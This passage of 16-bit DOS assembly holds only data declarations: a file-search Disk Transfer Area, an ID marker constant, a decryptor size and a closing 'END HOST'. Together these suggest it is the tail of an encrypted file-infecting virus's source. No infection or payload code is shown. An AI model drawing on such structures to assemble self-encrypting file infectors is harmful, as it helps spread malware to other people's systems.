FILENAME_PTR    dw  0
WORK_AREA       db  64 DUP (0),'$'

DTA             db 21 dup(0)  ;reserved
DTA_File_Attr   db ?
DTA_File_Time   dw ?
DTA_File_Date   dw ?
DTA_File_Size   dd ?
DTA_File_Name   db 13 dup(0)

;อออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออ

ID               equ 77h
DECRYPTOR_SIZE   equ 16d ; equ OFFSET WORK_BUFFER - OFFSET START_IMAGE

MAIN ENDS
     END    HOST
